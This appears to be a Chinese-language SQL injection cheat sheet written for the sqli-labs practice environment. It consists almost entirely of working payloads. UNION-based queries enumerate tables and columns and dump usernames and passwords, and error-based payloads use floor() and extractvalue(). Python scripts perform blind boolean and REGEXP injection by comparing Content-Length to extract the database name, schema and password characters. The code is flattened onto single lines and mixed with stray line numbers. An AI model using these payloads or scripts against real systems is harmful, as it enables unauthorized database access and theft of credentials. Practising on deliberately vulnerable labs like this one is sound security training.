查表 -1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema="security" %23
查列名 -1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name="users" %23
列名 username,password
表名 users
dump数据 -1' union select 1, group_concat(username),password from users %23
十种MySQL报错注入 报错注入 floor()
1 2
查用户 -1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
爆库
1
-1' and (select 1 from (select count(*),concat((SELECT schema_name from information_schema.schemata LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
爆表
1
-1' and (select 1 from (select count(*),concat((SELECT table_name from information_schema.`TABLES` WHERE table_schema = database() LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
爆列
1
-1' and (select 1 from (select count(*),concat((SELECT column_name from information_schema.`COLUMNS` WHERE table_name="users" LIMIT 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
extractvalue()
1
extractvalue(1,concat(0x7e,(select user()),0x7e))
1
-1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.`TABLES` where table_schema=database() limit 1,1),0x7e)) %23
1
-1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.`COLUMNS` where table_name="users" limit 1,1),0x7e)) %23
def lengths(self): len_errorr = "1' and length(database())=0%23" len1 = requests.get(url=self.url+len_errorr).headers['Content-Length'] ints = 10 for i in range(ints): str_sql = f"1' and length(database())={i}%23" url = self.url + str_sql response = requests.get(url=url) #print(response.headers) lengths = response.headers['Content-Length'] if len1 != lengths: print("库字段长度:",str(i))
def database_result(self): s = 'abcdefghijklmnopqrstuvwxyz1234567890|' len_errorr = "1' and substr(database(),0,1)=\"*\"%23" len1 = requests.get(url=self.url+len_errorr).headers['Content-Length'] result = '' for lens in range(25): for i in s: str_sql2 = f"1' and substr(database(),{lens},1)=\"{i}\"%23" url = self.url + str_sql2 response = requests.get(url=url) lengths = response.headers['Content-Length'] if len1 != lengths: result += str(i) print(str(i)) print(result)
def tables_result(self): s = 'abcdefghijklmnopqrstuvwxyz1234567890|' len_errorr = "1' and substr(database(),0,1)=\"*\"%23" len1 = requests.get(url=self.url+len_errorr).headers['Content-Length'] result = '' for lens in range(25): for i in s: str_sql2 = f"1' and substr((SELECT table_name from information_schema.`TABLES` WHERE table_schema = database() LIMIT 0,1),{lens},1)=\"{i}\"%23" url = self.url + str_sql2 response = requests.get(url=url) lengths = response.headers['Content-Length'] if len1 != lengths: result += str(i) print(str(i)) print(result)
def columns_result(self): s = 'abcdefghijklmnopqrstuvwxyz1234567890|' len_errorr = "1' and substr(database(),0,1)=\"*\"%23" len1 = requests.get(url=self.url+len_errorr).headers['Content-Length'] result = '' for lens in range(25): for i in s: str_sql2 = f"1' and substr((SELECT column_name from information_schema.`COLUMNS` WHERE table_name=\"users\" LIMIT 2,1),{lens},1)=\"{i}\"%23" url = self.url + str_sql2 response = requests.get(url=url) lengths = response.headers['Content-Length'] if len1 != lengths: result += str(i) print(str(i)) print(result) def dump(self): s = 'abcdefghijklmnopqrstuvwxyz1234567890|' len_errorr = "1' and substr(database(),0,1)=\"*\"%23" len1 = requests.get(url=self.url+len_errorr).headers['Content-Length'] result = '' for lens in range(25): for i in s: str_sql2 = f"1' and substr((select password from users limit 1,1),{lens},1)=\"{i}\"%23" url = self.url + str_sql2 response = requests.get(url=url) lengths = response.headers['Content-Length'] if len1 != lengths: result += str(i) print(str(i)) print(result)
if __name__ == "__main__": sql_run = sql_true("http://10.211.55.10/Less-1/?id=") #sql_run.database_result() #sql_run.tables_result() sql_run.dump()
正则表达式注入
1
1' and 1=(SELECT database() REGEXP '^se' LIMIT 1,1)%23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
def re_sql(self): s = 'abcdefghijklmnopqrstuvwxyz1234567890' len_errorr = "1' and substr(database(),0,1)=\"*\"%23" len1 = requests.get(url=self.url+len_errorr).headers['Content-Length'] sql_content = '' result = '' for c in range(20): for i in s: str_sql2 = f"1' and 1=(SELECT database() REGEXP '^{result+i}' LIMIT 1,1)%23" url = self.url + str_sql2 response = requests.get(url=url) lengths = response.headers['Content-Length'] if len1 != lengths: result += i #sql_content += i print(str(i)) print(result)